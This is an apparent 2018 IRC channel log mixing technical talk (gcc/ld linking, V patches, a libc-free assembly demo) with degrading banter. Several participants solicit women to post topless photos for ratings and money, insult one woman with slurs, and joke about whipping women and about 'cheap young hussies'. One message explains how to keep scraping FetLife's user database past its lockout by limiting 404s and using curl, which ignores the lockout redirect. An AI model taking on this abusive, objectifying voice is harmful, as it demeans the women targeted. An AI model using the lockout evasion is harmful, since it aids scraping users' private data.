1790865;1522313353;spyked;anyway, I understand why this happens (it wouldn't make sense to press e.g. http://btcbase.org/patches/vdiff_sha_fixes_newline_gcc and http://btcbase.org/patches/vtools-vpatch in the same path), but thought I'd report it.
1790866;1522318930;spyked;http://btcbase.org/log/2018-03-28#1790159 <-- I checked on my system using ave1's instructions and it indeed uses adacore's gcc. however: gcc uses its collect2 utility for linking (for some link-time optimization stuff -- check using gcc -v source.c), which in turn uses the *system* ld, i.e. /usr/bin/ld. that's why there's a difference in the link-time behaviour
1790867;1522318930;a111;Logged on 2018-03-28 20:41 phf: hmm, i wonder if adacore's gprbuild uses its own gcc or global one
1790868;1522318971;spyked;phf's ld might add an "static" to "inline"; or not, not sure; can verify by objdump'ing vdiff and seeing if there appear multiple (with local linkage) definitions of xnmalloc in the same file.
1790869;1522318979;spyked;*an implicit
1790870;1522319205;spyked;^ wait, this doesn't make sense. ld shouldn't know about "static" and "inline", but it might make different assumptions about the linkage nevertheless. I tested using ld 2.30 (debian) and ld 2.28 (gentoo) and got the same link errors.
1790871;1522319453;spyked;anyway, I suspect all systems relying on shared libraries are stuck using the system-provided ld, regardless of the gcc version. if anything, because of the insane gcc defaults (glibc, dynamic symbols etc.) on newer distro versions.
1790872;1522320252;shinohai;http://logs.bvulpes.com/trilema?d=2018-3-29#321578  <<< To save you time and crayons, i grepped my logs for past 2 yrs. Out of 38 noobs for which I have logs, 31 of these did not ensure correct gcc + gpg version combo before build.
1790873;1522320252;mimisbrunnr;Logged on 2018-03-29 07:53 mod6: douchebag: at the top of the howto document, it lists all of the pre-reqs you need before the build.  did you ensure that you have them all?
1790874;1522320467;shinohai;Nice tits in log too, great way to start day.
1790875;1522333249;mircea_popescu;aaah, good mornings
1790876;1522333249;lobbesbot;mircea_popescu: Sent 6 hours and 18 minutes ago: <ave1> re: http://btcbase.org/log/2018-03-28#1790127, not close at all. I do have a script to make a musl C library based ada (and one with a minimal Ada library). No C library only makes sense for systems without an OS.
1790877;1522333265;mircea_popescu;ave1 i figured.
1790878;1522333311;mircea_popescu;http://logs.bvulpes.com/trilema?d=2018-3-29#321550 << did they figure out or rather you just made keys for them yourself and just told them "say so and so" ?
1790879;1522333311;mimisbrunnr;Logged on 2018-03-29 07:44 douchebag: Yeah, I'm glad they could figure it out haha
1790880;1522333631;douchebag;they were all windows users so I just had em use gpg4win or whatever to make the process as straightforward as possible. Couldn't imagine it being as easy telling them to use gpg CLI
1790881;1522333661;mircea_popescu;hey, i'm impressed.
1790882;1522333693;douchebag;All the druggies who use silkroad boast about gpg4win so it can't be too hard haha
1790883;1522333724;mircea_popescu;from experience (over a few dozen cases to date or so) it takes the average girl about a degree of magnitude more time, effort and misfires than yours managed.
1790884;1522333730;mircea_popescu;i'd say you're visibly talented.
1790885;1522333766;douchebag;It helps being able to yell at them via voice chat when they're being retarded
1790886;1522333782;mircea_popescu;you should see how much being able to whip them when they're retarded helps.
1790887;1522333806;douchebag;You sure are into that kinky shit eh?
1790888;1522333827;mircea_popescu;but yes, i do believe you have the exact counter to my http://logs.bvulpes.com/trilema?d=2018-3-29#320898 comment lel
1790889;1522333827;mimisbrunnr;Logged on 2018-03-29 00:58 mircea_popescu: asciilifeform they're rank nonsense, "how to take a 95% productivity hit by everything taking longer and using a blocking channel"
1790890;1522333851;mircea_popescu;douchebag no, because kinky connotes it's this side dish, condiment, whatever. whereas with me it's foundational.
1790891;1522333881;douchebag;Ahh I see, must make things a hell of a lot more interesting
1790892;1522333954;mircea_popescu;let's use the pieces on the table : you just were 10x more effective than historical record because "being able to yell at them via voice chat when they're being retarded". i'm, literally, a further degree of magnitude more effectual, and literally because whipping if retarded. which makes me not have the "girl problems" ~everyone else has.
1790893;1522333958;mircea_popescu;it's a delight.
1790894;1522333993;douchebag;hahaha
1790895;1522334033;mircea_popescu;the drawback however is that i ~absolutely~ can not be retarded. not even a little bit.
1790896;1522334041;shinohai;Hard level: You must convince btcvixen to let you snort a line of cocaine from it's cock.
1790897;1522334080;douchebag;Maybe if there wasn't any cock involved
1790898;1522334262;mircea_popescu;anyway, whadda ya think mod6 , can we get him back to positive rating ?
1790899;1522334581;mircea_popescu;http://logs.bvulpes.com/trilema?d=2018-3-29#321590 << so basically the way i'm interpreting what you're saying is, "there's no practical way to have no c library on a c system ; but if you want just the init and end that can be done quite minimalistically and forgetaboutit."
1790900;1522334581;mimisbrunnr;Logged on 2018-03-29 08:15 ave1: For musl the initialization / finalization part is minimal and easy to read, for gnu lib C it is not and part of it used code from the dynamic linking library.
1790901;1522334630;mircea_popescu;http://logs.bvulpes.com/trilema?d=2018-3-29#321594 << what does this mean, "my patch is a separate leaf" ?!
1790902;1522334630;mimisbrunnr;Logged on 2018-03-29 08:39 spyked: in less titillating news: http://btcbase.org/log/2018-03-28#1790190 <-- just did --> http://p.bvulpes.com/pastes/ewwIL/?raw=true the flow looks okay now; problem is that my patch is a separate leaf, so I can't press it and say, vtools-vpatch, in the same path. one (not very clean) palliative would be to manually verify and apply the patch after pressing.
1790903;1522335664;spyked;mircea_popescu, taking the graph in http://btcbase.org/patches?patchset=vtools <-- the patch at http://btcbase.org/log/2018-03-28#1790176 is a descendant of vdiff_fixes_newline_gcc, but since it has no direct relation to, say vdiff_keccak (there are no changes from the former to the latter), it will lie on a separate branch starting from vdiff_fixes_newline_gcc. at least that's what the output from
1790904;1522335664;a111;Logged on 2018-03-28 21:08 spyked: my v-fu really leaves to be desired. so: http://btcbase.org/log/2018-03-28#1790147 <-- patch: http://lucian.mogosanu.ro/v/patches/vdiff_lib_xalloc_static_xnmalloc.vpatch and seal: http://lucian.mogosanu.ro/v/seals/vdiff_lib_xalloc_static_xnmalloc.vpatch.spyked.sig --> so I based those on vdiff_fixes_newline_gcc (parent of vdiff_keccak in http://btcbase.org/patches?patchset=vtools ) and while the patch verifies, it doesn't show up in my
1790905;1522335670;spyked;http://p.bvulpes.com/pastes/ewwIL/?raw=true indicates.
1790906;1522335686;mircea_popescu;yeah this is that whole histfile thing that somehow never got implemented.
1790907;1522335691;mircea_popescu;is this deliberate or oversight phf ?
1790908;1522335932;asciilifeform;!!unrate douchebag
1790909;1522335935;deedbot;Get your OTP: http://p.bvulpes.com/pastes/aQCBe/?raw=true
1790910;1522335963;asciilifeform;!!v 265B170DB6417E5EA402DC1315C557BEC9E12A17561A58CC477455B63AE96E9D
1790911;1522335963;deedbot;asciilifeform unrated douchebag.
1790912;1522336096;spyked;the way I understood it from reading v.pl, the edges in teh graph are established based on changes introduced by each hunk in the nodes (the patches). so since there are no patches changing the files in vdiff_lib_xalloc_static_xnmalloc.vpatch, it's a leaf (and this, if I understand correctly, is intrinsic to the current design of v).
1790913;1522336137;mircea_popescu;spyked yes ; there's ongoing discussion re this.
1790914;1522336181;*;spyked has read it, but tbh, it took this particular example to finally understand the issue
1790915;1522336191;mircea_popescu;aha.
1790916;1522336222;mircea_popescu;i think this is kinda why the discussion's been so... dezlinata. people who ran into it vs people who mostly made their own disciplined trees and therefore hadn't.
1790917;1522336260;mircea_popescu;(dezlinata = ro, literally "unwoolened", intensively something of the uneven consistency of clouds, or scattered about wool.)
1790918;1522336535;mod6;<+mircea_popescu> anyway, whadda ya think mod6 , can we get him back to positive rating ? << aha, let's try this again.
1790919;1522336779;BingoBoingo;!!rate douchebag 1 WIP, has some hustle willing to creatively leverage some toilets
1790920;1522336781;deedbot;Get your OTP: http://p.bvulpes.com/pastes/hjEpx/?raw=true
1790921;1522336821;BingoBoingo;!!v 800E1C0DB01F742DDEAE80371C37E5442AEAED7437333054EA90E78B5E64D138
1790922;1522336821;deedbot;BingoBoingo rated douchebag 1 << WIP, has some hustle willing to creatively leverage some toilets
1790923;1522336839;mircea_popescu;what's a wip
1790924;1522336884;BingoBoingo;Work In Progress
1790925;1522336889;mircea_popescu;oic
1790926;1522336953;BingoBoingo;And the levering toilets comment is related to http://btcbase.org/log/2018-03-29#1790892 where he's got the willingness to plumber around
1790927;1522336953;a111;Logged on 2018-03-29 14:32 mircea_popescu: let's use the pieces on the table : you just were 10x more effective than historical record because "being able to yell at them via voice chat when they're being retarded". i'm, literally, a further degree of magnitude more effectual, and literally because whipping if retarded. which makes me not have the "girl problems" ~everyone else has.
1790928;1522336956;mod6;ave1: http://p.bvulpes.com/pastes/i9ctn/?raw=true << here are those commands, let me know if you want me to run others.
1790929;1522336960;trinque;!!v 867C9E629EE19101DF6C556A6F34D598339C0DD85E9C07F0ACD6FE9F73CF6330
1790930;1522336960;deedbot;trinque rated douchebag 1 << brought a surfeit of tits
1790931;1522337002;mircea_popescu;it occurs to me actually, this is a very... classical model of tribal organization, huh. there's a boy's hut in the village where people work magic an' teh young girls "hi, i came to show you my tits".
1790932;1522337061;mircea_popescu;bwahahah
1790933;1522337066;mircea_popescu;wasn't that a great one lmao.
1790934;1522337112;mod6;pretty much, best announcement ever.
1790935;1522337116;mircea_popescu;omfg oglaf moved to https bs ?!
1790936;1522337153;mircea_popescu;this rustles my jimmies immensely.
1790937;1522337366;mod6;trinque: hey, are you paying douchebag to figure out trb on his own?  or does me helping him violate what he agreed to?
1790938;1522337391;trinque;what, no I'm not paying him to do it
1790939;1522337404;mod6;ah, ok just "tasks" or whatnot.  got it.
1790940;1522337414;mod6;just checking, didn't wanna step on your toes :]
1790941;1522337422;trinque;nah, no problemo
1790942;1522337431;mircea_popescu;wait, was this "i'll bet you x you can't do y ; your side is indentured servitude" sorta structure ?
1790943;1522337438;trinque;mmmhm
1790944;1522337456;mircea_popescu;gambling AND slavery ? oh the pantsuit are gonna love ya
1790945;1522337467;*;trinque is a bad bad man.
1790946;1522339771;ben_vulpes;so my landlord comes over the other day, nominally to talk about installing the fence that was a condition of my renting the place, "hey i might liquidate this place within the year, do you want it? i'll credit rent paid so far to the down payment"
1790947;1522339837;ben_vulpes;i was planning to live here for another three years so i might just get the place so's i can avoid having to go through the hell of another rental search. also it's a rather spiffy haus
1790948;1522340049;ben_vulpes;sitting in the scales on the other side is "but mom i don't need another boat anchor holding me stateside"
1790949;1522340392;lobbes;Hey, no reason it needs to anchor you. Can 'own' properties around globe neh?
1790950;1522340397;*;lobbes just recently 'bought' 'own' house. Mainly for the lower (and fixed!) monthly expense (i.e. monthly mortgage payment ended cheaper than my previous rent, and will never increase (rents here always tend to go up)). Plus waaay more space than previous rented space
1790951;1522340519;lobbes;Still, theoretically nothing stopping me from one day heading to e.g. BingoBoingostan and leaving house sitting there
1790952;1522340583;ben_vulpes;lobbes: sure, sure
1790953;1522341111;BingoBoingo;lobbes: If you don't need transit grade internet Chile is an option.
1790954;1522341911;lobbes;I've been slowly eyeballing Austria mainly because I enjoy what little I've learned of Deutsch (and actual Germany screams "pantsuit" based on what I've read), but it is -essentially- still in natoreich (and I dislike cold climes). Seems like all roads eventually lead to a LATAM of some sort.
1790955;1522342091;mircea_popescu;ben_vulpes buying real estate in the reich without an army ?
1790956;1522342113;ben_vulpes;mircea_popescu: hue, buying paper that can be sold to other chumps
1790957;1522342126;mircea_popescu;if the scam holds.
1790958;1522342130;mircea_popescu;!#s hyip
1790959;1522342131;a111;37 results for "hyip", http://btcbase.org/log-search?q=hyip
1790960;1522342131;ben_vulpes;i'm not laboring under the delusion that i'd actually own the thing
1790961;1522342145;asciilifeform;trying to 'outsmart the casino' tends to end in tears, ben_vulpes
1790962;1522342164;mircea_popescu;but, that said, as long as he's evaluated it and it came out green, more power to him.
1790963;1522342171;BingoBoingo;lobbes: More Germans I have talked to here are thinking Hungary than Austria as places for their parents to retire.
1790964;1522342213;asciilifeform;it is almost impossible to not seem to 'come out green' on paper when buying into usa real estate racket. asciilifeform for example pays ~2x for his hut than mortgage for same item costs, because of tax regime.
1790965;1522342224;mircea_popescu;lobbes austria is in the wrong. you buy cheap young hussies generally. romania-czech-slovakia-slovenia-serbia etc, the periphery of the empire. not austria (or hungary), the fucking center of it
1790966;1522342257;asciilifeform;( problem is what tends to happen in the heads of people who buy in. as further discussed in old thread on ben_vulpes's www, http://cascadianhacker.com/perceived-vs-actual-barriers-to-homeownership-for-young-adults/comment-page-1#comment-174 )
1790967;1522342282;mircea_popescu;asciilifeform except where he's married with kids already.
1790968;1522342298;asciilifeform;that's not quite same as being a tree tho. not entirely.
1790969;1522342371;mircea_popescu;depends if one's a tree, i guess. sure as fuck gypsies have no problem tying the 5yo daughters to pull the cart in line with the goats, as per ye olde http://trilema.com/2010/nuditatea-la-copii-si-sugari/#selection-41.0-45.498
1790970;1522342588;mircea_popescu;anyway, his position is bolstered by the fact that from the looks of things, the empire is going to fight to the last to defend the re racket, much like body will keep liver going if it's the last thing it does.
1790971;1522343459;ben_vulpes;that iiis the bet.
1790972;1522343509;asciilifeform;if it's the i-can-afford-to-loose type of bet, nuffin wrong with it
1790973;1522343513;asciilifeform;*lose
1790974;1522344626;mircea_popescu;ok, this is a gem of a lulz item the likes of which one can only encounter on the web.
1790975;1522344689;mircea_popescu;so : in order to prevent walking their db, fetlife DID NOT, ~~~STILL~~~ implement the obviously correct method described for free by moi, back in http://trilema.com/2015/fetlife-the-meat-market/#comment-112222
1790976;1522344782;mircea_popescu;instead, they have a "mysterious" "security" blabla, which does things like https://vircotto.com/fetlife-locked-my-account-for-four-days-heres-what-i-learned.html
1790977;1522344817;mircea_popescu;there's, of course, nothing mysterious about it : it counts pageloads and 404 hits. for the walker this later point is of course the concern, you have to carefully avoid getting too many 404s per interval.
1790978;1522344840;mircea_popescu;HOWEVER, and this is the gem : their "lock out" looks to the script like this : <html><body>You are being <a href="https://fetlife.com/locked_out?user_id=????????">redirected</a>.</body></html>
1790979;1522344866;mircea_popescu;now, obviously the browser auto-follows that and gets the chimp locked. however curl does not, and consequently... THE LOCKING EXPIRES. in less than a day.
1790980;1522344918;mircea_popescu;fucking imagine this imbecile of a "software engineer" from canada, who implements security via a php script the victim has to load for it to catch.
1790981;1522344940;mircea_popescu;can you beat that ?
1790982;1522345108;BingoBoingo;That would be tough.
1790983;1522345136;BingoBoingo;Creativity metastisized into cancer
1790984;1522345391;mircea_popescu;john baku belongs working for the usg, he's just about dumb enough.
1790985;1522345816;asciilifeform;hey mircea_popescu , what's the last ver of php that worx with mp's wp ?
1790986;1522345831;asciilifeform;looks like 7.1 -- got shitgnomated, lost mysql support
1790987;1522345841;mircea_popescu;i have nfi tbh. i never upgraded it.
1790988;1522345872;mircea_popescu;PHP 5.5.30 (cli) (built: Dec 22 2015 01:39:33)  works tho
1790989;1522345877;asciilifeform;ty!
1790990;1522345897;mircea_popescu;and obviously 2009 vintage also works. so in between those
1790991;1522346033;deedbot;http://qntra.net/2018/03/boeing-production-hit-by-ransomware-using-usg-nsa-exploits/ << Qntra - Boeing Production Hit By Ransomware Using USG.NSA Exploits
1790992;1522346044;mircea_popescu;ahahaha
1790993;1522346076;asciilifeform;RunMoarWinblowz(tm)
1790994;1522346087;mircea_popescu;where's their "intellectual property" nao ?
1790995;1522346092;BingoBoingo;Maybe they already hired Baku?
1790996;1522346093;mircea_popescu;that was suuuch a smart gambit...
1790997;1522349181;ave1;http://btcbase.org/log/2018-03-29#1790899, I'm saying use the musl C library for the "no C library on a C machine", if you do all the things it does yourself, you get the same kind of code. For example, you could do this all in ADA but you'll still have to shuffle pointers around and get this "unsafe" but it's written in Ada code.
1790998;1522349181;a111;Logged on 2018-03-29 14:43 mircea_popescu: http://logs.bvulpes.com/trilema?d=2018-3-29#321590 << so basically the way i'm interpreting what you're saying is, "there's no practical way to have no c library on a c system ; but if you want just the init and end that can be done quite minimalistically and forgetaboutit."
1790999;1522349181;mimisbrunnr;Logged on 2018-03-29 08:15 ave1: For musl the initialization / finalization part is minimal and easy to read, for gnu lib C it is not and part of it used code from the dynamic linking library.
1791000;1522349205;ave1;Cool the loggers are fighting
1791001;1522349247;ave1;So you've written that part in Ada but it's more clumsy as it would have been in C (because your shuffling around with C arrays)
1791002;1522349277;ave1;And if you want to do this for a C program,  you will end up with much the same code as MUSL.
1791003;1522349320;ave1;So as long as the MUSL C library development stays sane, I would say follow it.
1791004;1522349322;mircea_popescu;ave1 no, it's intended, gets deeper more context in.
1791005;1522349349;ave1;now I'll have to rescan the logs, never noticed it so far
1791006;1522349418;mircea_popescu;anyway, let's restate : "since you're stuck with a c library anyway as long as you're on c-machine, at the very least to do init and end ; and since musl is not that terrible and only links what you use anyway ; just use it and be done with the headache -- the alternative is bloating ada with nonsense"
1791007;1522349433;ave1;mod6, http://btcbase.org/log/2018-03-29#1790928, I only see log3.txt
1791008;1522349433;a111;Logged on 2018-03-29 15:22 mod6: ave1: http://p.bvulpes.com/pastes/i9ctn/?raw=true << here are those commands, let me know if you want me to run others.
1791009;1522349490;asciilifeform;it is pointedly untrue that 'stuck with libc on c machine' . can implement all the sane basic functionality using SYSCALL ( the kernel api that's at the bottom of every libc ) and nowhere is it written that you have to be retarded and e.g. pointer-arithmetize or heapize while doing so.
1791010;1522349508;mircea_popescu;asciilifeform it's where i was headed
1791011;1522349522;mircea_popescu;could just have a mini-init.ada
1791012;1522349568;ave1;hmm, it seems to me the whole init stuf does not use syscall, but instead expects linux to have provided pointers at specific places (for argv and freinds)
1791013;1522349572;asciilifeform;aaha, just like on embedded chips.
1791014;1522349596;asciilifeform;( in re mini-init...)
1791015;1522349601;mircea_popescu;ave1 but it could use syscall.
1791016;1522349622;asciilifeform;argc, argv, environment, PATH, etc is all mapped into process's address space
1791017;1522349631;asciilifeform;can read it like you read anyffing else in yer addr space
1791018;1522349631;ave1;Well now I have to get back and study that part
1791019;1522349666;ave1;go back
1791020;1522349694;mod6;ave1: lol, sorry man. lemme re-do that for ya.
1791021;1522349703;mircea_popescu;this has actually been a most productive examination.
1791022;1522349707;ave1;I'll try it the coming weeks, I have a minimal ada anyway
1791023;1522349865;mod6;http://p.bvulpes.com/pastes/VJPPi/?raw=true
1791024;1522349870;mod6;there you go ave1 ^
1791025;1522349915;mod6;My apologies.
1791026;1522349996;asciilifeform;ave1 i have for you an example, standby:
1791027;1522350111;asciilifeform;ave1: http://p.bvulpes.com/pastes/F0CTl/?raw=true << demo.asm ;   http://p.bvulpes.com/pastes/7Q0AV/?raw=true << Makefile
1791028;1522350172;asciilifeform;ave1: illustrated is the use of stack frame to get cmdline args; and the use of raw SYSCALL to , e.g., get file size, open it, mmap over it, then dump its contents to stdout, then close, quit
1791029;1522350188;asciilifeform;commented out in the end is 100% of what you need for a heaptron : the sbrk mechanism mentioned by phf
1791030;1522350202;asciilifeform;observe! in the makefile, that there is NO linkage with libc
1791031;1522350205;asciilifeform;or with anyffing else
1791032;1522350229;mircea_popescu;holy fuck i think we just published the first version of tmsr-kernel
1791033;1522350238;asciilifeform;on my machine this builds a 1935 byte (unstripped) elf, or 1080 byte stripped
1791034;1522350246;asciilifeform;mircea_popescu: moar of a 'libc' then kernel
1791035;1522350258;asciilifeform;( naked x86-64 kernel, iirc i already posted here a coupla yrs ago )
1791036;1522350265;asciilifeform;the thing with the page table init et
1791037;1522350266;asciilifeform;c
1791038;1522350299;asciilifeform;^ all readers invited to try the demo ^
1791039;1522350312;asciilifeform;it is well-commented, imho self-explanatory.
1791040;1522350365;asciilifeform;'make dis' will produce an objdump
1791041;1522350444;mircea_popescu;that was more of an... extended bootloader ? but anyways, the lines get blurry
1791042;1522350456;asciilifeform;oh i forgot sumthing important :
1791043;1522350474;asciilifeform;http://p.bvulpes.com/pastes/tqygB/?raw=true << demo.dbg
1791044;1522350496;asciilifeform;'make debug' , given that 'turd.bin' input file exists, will print all machine instructions executed by the program.
1791045;1522350511;asciilifeform;( supposing you have a working gdb, apparently there exist boxes without gdb... )
1791046;1522350528;mod6;aha
1791047;1522350529;asciilifeform;err, demo.gdb
1791048;1522350542;asciilifeform;anyway ave1 et al plox to try an' see.
1791049;1522350554;*;asciilifeform wrote this lesson a long time ago
1791050;1522350587;ave1;asciilifeform: thx will try! never went this deep before
1791051;1522350613;asciilifeform;http://wotpaste.cascadianhacker.com/pastes/vPmsi/?raw=true << what your gdb output will look like.
1791052;1522350635;asciilifeform;( my turd had 'hello world!' in it )
1791053;1522354423;mircea_popescu;in other lulz, news from india : tata came up with a $2500 car. "nano". it has... no 0-60, because it goes 45 at the most.
1791054;1522354434;mircea_popescu;belt transmission
1791055;1522355299;BingoBoingo;lol, haven't seen any of those here yet but I imagine they are coming
1791056;1522355374;BingoBoingo;The 900 USD new 100 to 125 cc chinese polleritas here are largely the same deal
1791057;1522355976;ben_vulpes;perfect for the traffic-choked favela
1791058;1522356342;deedbot;http://qntra.net/2018/03/brexit-more-than-300000-eu-domains-with-british-registrants-to-be-garbage-collected/ << Qntra - Brexit: More Than 300,000 .eu Domains With British Registrants To Be Garbage Collected
1791059;1522356355;BingoBoingo;ben_vulpes: Or for low margin delivery businesses
1791060;1522356634;mircea_popescu;ben_vulpes they have these favela-like things here ("hatillo 1 through hatillo 30 or some shit). you couldn't believe what traffic jams they create.
1791061;1522356644;mircea_popescu;item is literally a traffic jam in itself, perpetual, unyielding, eternal.
1791062;1522356655;mircea_popescu;basically road rings connected to road stems, like a fungus.
1791063;1522356711;mircea_popescu;doods living there own (well, "own") $1-5000 houses they made themselves, generally by buying planks/metal/whatever and hooking it up with the cousins. universally one level, and then 2-5 cars, more or less broken down, worth another 2-5k
1791064;1522356722;ave1;http://btcbase.org/log/2018-03-29#1791023, mod6, did you run gprbuild -v in the directory containing vdiff.gpr, it did not seem to pick it up (it does with my local gprbuild, which has same version etc as yours).? It should show the absolute path to the gcc that is used during the build.
1791065;1522356722;a111;Logged on 2018-03-29 18:57 mod6: http://p.bvulpes.com/pastes/VJPPi/?raw=true
1791066;1522366583;mircea_popescu;meanwhile in teenage lulz, https://warosu.org/biz/thread/8593856
1791067;1522366717;ben_vulpes;> an autistic Romanian named Mircea Popescu
1791068;1522366752;mircea_popescu;i suspect by now "autistic" is the equivalent of the 1800s "friend". "one of ours" as opposed to "one of theirs"
1791069;1522366765;mircea_popescu;quakers forever they shall be!
1791070;1522373319;douchebag;mircea_popescu: You ready to see some more tits? I've had a number of women who were inquring about the offer
1791071;1522373360;mod6;ave1: http://p.bvulpes.com/pastes/FQrCw/?raw=true
1791072;1522373365;mod6;holy netsplit.
1791073;1522373471;mircea_popescu;douchebag sure.
1791074;1522373512;douchebag;Sounds good, I'll let them know
1791075;1522373682;mod6;Go BTC, Go!
1791076;1522373916;trinque;ah good, I didn't have nearly enough yet.
1791077;1522375833;ben_vulpes;!~ticker --market all
1791078;1522375990;mircea_popescu;!!up Coco1997
1791079;1522375991;deedbot;Coco1997 voiced for 30 minutes.
1791080;1522375992;Coco1997;hey im here to show you my tits
1791081;1522376057;mod6;Hi, great intro.
1791082;1522376073;mircea_popescu;Coco1997 i don't image you have links to previous work ?
1791083;1522376091;Coco1997;no
1791084;1522376098;mircea_popescu;mkay. 68a7b542 is your magic code.
1791085;1522376139;mircea_popescu;douchebag you know, this abundance of girls willing to do it but who've not ever done it before suggests to me the brave new world of pantsuit is really very economically inefficient.
1791086;1522376168;Coco1997;!!register https://my.mixtape.moe/jxjdgf.asc
1791087;1522376172;mircea_popescu;for all the "everything is connected" and "knowledge at fingertips" blather, the marginal utility of information seems rather iron age.
1791088;1522376221;douchebag;Eh, a lot of these girls aren't really into the whole posting pics online and stuff, but when money is involved they change their mind lol
1791089;1522376264;douchebag;Why didn't she get registered
1791090;1522376298;mircea_popescu;use http://p.bvulpes.com/pastes/BXh21/?raw=true << type of links. those are known to work.
1791091;1522376308;douchebag;kk
1791092;1522376308;mircea_popescu;who the hell knows what extra crap mixtape.moe rando site adds to the mix
1791093;1522376366;Coco1997;!!register http://p.bvulpes.com/pastes/8MmZ7/?raw=true
1791094;1522376369;deedbot;E97AF6B83367C3366411D023E39F9BF9FC795E38 registered as Coco1997.
1791095;1522376518;mod6;So here I am writing up the SoBA, looking for a log reference to where either I or ben_vulpes said that only *one* of The Foundation's Two (newly bought servers for Pizarro racking) made it down there.
1791096;1522376539;mod6;Maybe it was never mentioned in here?  Which seems strange, but it's been a wild month.
1791097;1522376558;mod6;So the one server was left behind at the airport to cut-weight.
1791098;1522376625;mod6;The current thinking is that this server still here will be racked locally to make use of it; as soon as we have pricing, and maybe a less item of less value shipped successfully, we'll have this one couriered down to Pizarro.
1791099;1522376650;mod6;*an item of less value shipped successfully first,
1791100;1522376894;mircea_popescu;uh
1791101;1522376898;mircea_popescu;what, you lost one in transit ?!
1791102;1522376912;mircea_popescu;mod6 but do you still have the item then ?
1791103;1522376952;ben_vulpes;nono, it is safely right here.
1791104;1522376968;mod6;It wasn't lost in transit, when ben_vulpes was at the airport, he had his wife come and pick it up from there to 'cut-weight'.  It's safe in his care.
1791105;1522376989;mircea_popescu;aite, so then : asciilifeform had a spare slot from what i understand, when he leaves in a coupla weeks he can haul it over for you. i'll even cover the cost on nsa's budget as a donatrion to the foundation.
1791106;1522376996;mircea_popescu;have the item therre in time though. no bs.
1791107;1522377015;mod6;As I understood it most recently, he was at max weight already.
1791108;1522377024;mod6;asciilifeform: ^ ?
1791109;1522377024;mircea_popescu;ah was he ? then no dice.
1791110;1522377035;mircea_popescu;i may be behind a day or so
1791111;1522377044;mod6;I could be wrong too.
1791112;1522377840;mod6;!!up Coco1997
1791113;1522377841;deedbot;Coco1997 voiced for 30 minutes.
1791114;1522378451;mod6;SHOW ME WHAT YOU GOT
1791115;1522378629;Coco1997;sorry bout the wait
1791116;1522378633;Coco1997;uploading in a sec
1791117;1522378687;Coco1997;im around a bunch of drunk people
1791118;1522378903;ben_vulpes;pretty sure the remaining slot was booked for s.mg
1791119;1522378924;trinque;!!v E33C11D98E16244AE8FDEFB563456A7B4AC8FB8B7D26FB727E6D8BCB8420D708
1791120;1522378928;deedbot;trinque paid ben_vulpes invoice 2
1791121;1522378930;trinque;!!v 45DEDCC7D5420227D2E969FDF356653821B1F33D93E56A5F2F7930C89A615C8E
1791122;1522378934;deedbot;trinque paid ben_vulpes invoice 3
1791123;1522379020;asciilifeform;not max weight, theoretically copa will eat 2 100pounders, but at some cost ( 200 'overweight' each, plus 150 'extra' for the 2nd )
1791124;1522379043;asciilifeform;usd, thaf is
1791125;1522379049;asciilifeform;*that
1791126;1522379113;asciilifeform;i was gonna fill the slot with pcengines, arm boxen, etc if no one wants to fill with adult box.
1791127;1522379163;trinque;ben_vulpes: can I still get that cost breakdown for courier service? maybe I want to try keistering something else down to bbstan at a later date.
1791128;1522379199;mircea_popescu;lol what are you doing around a bunch of drunk people Coco1997
1791129;1522379214;asciilifeform;oh btw for anyone not tuned in #p , an ipkvm is also going
1791130;1522379246;asciilifeform;and magicwand for fg ( see thread )
1791131;1522379275;*;trinque still has two purchased fg that need bolted in
1791132;1522379311;Coco1997;its a family party my whole fam is drunk
1791133;1522379317;trinque;319899 blox on my pizarro node
1791134;1522379336;mircea_popescu;sounds like a party alright
1791135;1522379368;asciilifeform;trinque: gpggram at your convenience the mobo type, so i go with the right cabling
1791136;1522379387;trinque;roger
1791137;1522379587;asciilifeform;trinque: iirc ben_vulpes posted a cost postmortem ( recall tho that he 'won' the customs lottery, cost double )
1791138;1522379627;Coco1997;https://i.imgur.com/ponb6N9.jpg
1791139;1522379695;mircea_popescu;mno.
1791140;1522379703;douchebag;that's a sorry excuse for tits
1791141;1522379739;douchebag;fucking dumb bitch
1791142;1522379824;douchebag;Coco1997: Get the fuck out of here
1791143;1522379830;douchebag;with that bullshit
1791144;1522379832;asciilifeform;bahahaha this is first of this kind iirc
1791145;1522379860;douchebag;Jesus christ...
1791146;1522379893;asciilifeform;not the tits, the failure to use a mirror to write the magicstring
1791147;1522379909;mircea_popescu;i dunno why i keep getting cheap-ass webcam screenshots.
1791148;1522379918;mircea_popescu;i thought the whole point of "smart"phones was the camera.
1791149;1522379931;douchebag;i think it's one of them cheap phones mexicans have
1791150;1522379937;mircea_popescu;but w/e, "lowest effort" right.
1791151;1522379945;asciilifeform;front camera is usually shit
1791152;1522380065;douchebag;I'm just wondering how that sorry execuse for a tit pic took a whole fucking hour
1791153;1522380093;*;mircea_popescu feels bad for the girl
1791154;1522380105;mircea_popescu;but, truth be told, the reason i keep asking about previous work is precisely this. aaanyways.
1791155;1522380133;douchebag;I tell these women, when they get the code to have the photos ready within 5 minutes
1791156;1522380157;douchebag;and then they want to fix their hair, go talk to their family, take a billion years to write a couple letters
1791157;1522380176;douchebag;Too bad I don't have a bullwhip like mircea_popescu
1791158;1522380187;mircea_popescu;douchebag you know, for all the pretense the us is one of the few remaining orcistans where not everyone has a room to themselves.
1791159;1522380189;ben_vulpes;holy hell, the previous two you brought in 'did their hair'?
1791160;1522380209;ben_vulpes;here i was thinking, "hm i wonder when the girls will actually start dolling up"
1791161;1522380224;ben_vulpes;alt-right really with the majestic adherence to gender roles
1791162;1522380263;mircea_popescu;ben_vulpes i think alt-right is more a continuation of "straightedge" 90s fashion than any kind of 1950s wasplandia.
1791163;1522380275;mircea_popescu;and that was technically an offshot of punk. so...
1791164;1522380534;ben_vulpes;huh i don't see the lineage from straightedgin; but my only brushes with it were kids who thought they needed something to differentiate themselves from oh okay now i see
1791165;1522380605;mircea_popescu;(for the connoisseur : the only noteworthy, but indeed noteworthy for the insane lulz, part of this "straightedge" is how early usian starry-eyed communism had its EXACT equivalent of the... wtf was the soviet name for the anti-nep youths that didn't wash ? same group that did the great leap forward in china ?)
1791166;1522380656;mircea_popescu;ben_vulpes consider the relationship to "promiscuity" ; and the notions of male-regulation of copulation rate. it's one of the best standards to sort "mass movements", much like the two metal bars slowly growing apart are the best standard to sort eggs.
1791167;1522380682;ben_vulpes;and in "Make Oil, Great Again" news, apparently the US Strategic Petroleum Reserves are thick with hydrogen sulfide to the tune of 600ppm in the RDS sale, and 9000 ppm in the sale to china.
